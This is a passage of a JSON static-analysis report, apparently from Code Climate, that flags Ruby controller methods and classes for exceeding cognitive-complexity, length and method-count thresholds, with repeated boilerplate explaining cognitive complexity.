more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_commit` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"832aa36f617c6cce4927e6c8b561ce98","location":{"path":"app/controllers/concerns/creates_commit.rb","lines":{"begin":8,"end":51}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update_flash_notice` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"89030f5b74776bb2425f95279fdd5b7d","location":{"path":"app/controllers/concerns/creates_commit.rb","lines":{"begin":62,"end":73}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `final_success_path` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"afb1305c0c32730e0b027be235b174a0","location":{"path":"app/controllers/concerns/creates_commit.rb","lines":{"begin":75,"end":83}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `create_commit` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"eaa2bdf0bf7bb61da1f37f4031392e35","location":{"path":"app/controllers/concerns/creates_commit.rb","lines":{"begin":8,"end":51}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `send_upload` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cfa021a786ee32f97584fecedce60cde","location":{"path":"app/controllers/concerns/send_file_upload.rb","lines":{"begin":4,"end":26}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `lfs_check_access!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"46d5167d71a5e6a69a9a236086347aed","location":{"path":"app/controllers/concerns/lfs_request.rb","lines":{"begin":36,"end":45}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"905d81937e68b3931dad7416dc6ef9a6","location":{"path":"app/controllers/import/bitbucket_controller.rb","lines":{"begin":37,"end":65}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"20b781fcddc55e961f42441c445d70d8","location":{"path":"app/controllers/import/github_controller.rb","lines":{"begin":39,"end":58}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `GithubController` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"ab20d51ced6ac78aa49e0f6de0af0ac0","location":{"path":"app/controllers/import/github_controller.rb","lines":{"begin":1,"end":132}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_or_create_namespace` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2f80525d40e648a6d7ea2229b2cb74ae","location":{"path":"app/controllers/import/base_controller.rb","lines":{"begin":19,"end":31}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4d4ab07c39a5534d15b7443e37a7a235","location":{"path":"app/controllers/import/bitbucket_server_controller.rb","lines":{"begin":21,"end":45}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_import_params` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"da2d51f606c44590f847c4640444ac5b","location":{"path":"app/controllers/import/bitbucket_server_controller.rb","lines":{"begin":82,"end":90}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `callback` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3c9e710a6531242212414756cccfe915","location":{"path":"app/controllers/import/google_code_controller.rb","lines":{"begin":8,"end":33}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_captcha` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"de5a9e305854d86a525c3be0d27eaf6d","location":{"path":"app/controllers/sessions_controller.rb","lines":{"begin":62,"end":78}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `auto_sign_in_with_provider` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f619928e9105c1311e52540b45817001","location":{"path":"app/controllers/sessions_controller.rb","lines":{"begin":167,"end":186}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `SessionsController` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"ca547cff8dfcb4f2bb32febd07c3a8b9","location":{"path":"app/controllers/sessions_controller.rb","lines":{"begin":3,"end":221}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"44af899cceadececa5fb2d6343c42fb8","location":{"path":"app/controllers/registrations_controller.rb","lines":{"begin":16,"end":36}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `index` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"07120d763a5a37d3563d108da7618fc2","location":{"path":"app/controllers/snippets_controller.rb","lines":{"begin":30,"end":43}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"19fe68118b5b1cf2a9c1bfef20064546","location":{"path":"app/controllers/projects/wikis_controller.rb","lines":{"begin":20,"end":44}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4754ebccd6eb3ba307dee978dd12dde8","location":{"path":"app/controllers/projects/wikis_controller.rb","lines":{"begin":49,"end":65}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `merge_requests_controller.rb` has 265 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"ed0fbac1699084d99f2798b9ff54b642","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":1,"end":354}},"other_locations":[],"remediation_points":1416000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `show` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f6d989eecff0a311d8a4126b524b3d54","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":30,"end":76}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"043aac3b7446fd75e17405d975137865","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":123,"end":145}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ci_environments_status` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"46e544b6af20509fb22aa245f36e853b","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":204,"end":242}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `merge!` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5c7d0579b3b6ee7f277ab6932678009d","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":285,"end":319}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `MergeRequestsController` has 28 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"b062a438177acc72625495d3cbfaa77c","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":1,"end":354}},"other_locations":[],"remediation_points":2000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `show` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e3c966096d2b12e85a670db7911707b8","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":30,"end":76}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `ci_environments_status` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e5b7f8ffd1531062cbb97dd163687759","location":{"path":"app/controllers/projects/merge_requests_controller.rb","lines":{"begin":204,"end":242}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `set_commits` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e6d95cec8ea5cbbfb499acf2d8c47bb9","location":{"path":"app/controllers/projects/commits_controller.rb","lines":{"begin":55,"end":69}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `archive` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"24b42f263d62dd73163666f08a5dab84","location":{"path":"app/controllers/projects/repositories_controller.rb","lines":{"begin":16,"end":28}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"48f2140ee4baa6d602990f3cd3a4e3bd","location":{"path":"app/controllers/projects/branches_controller.rb","lines":{"begin":52,"end":91}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `create` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7b53414d925313d554a03dbde87a17b1","location":{"path":"app/controllers/projects/branches_controller.rb","lines":{"begin":52,"end":91}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `authenticate_user` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"aeab90a0370c820e728a3abfbc25b413","location":{"path":"app/controllers/projects/git_http_client_controller.rb","lines":{"begin":30,"end":59}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"59245dcb34ab6bc8f9698502300494c2","location":{"path":"app/controllers/projects/mirrors_controller.rb","lines":{"begin":15,"end":34}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple 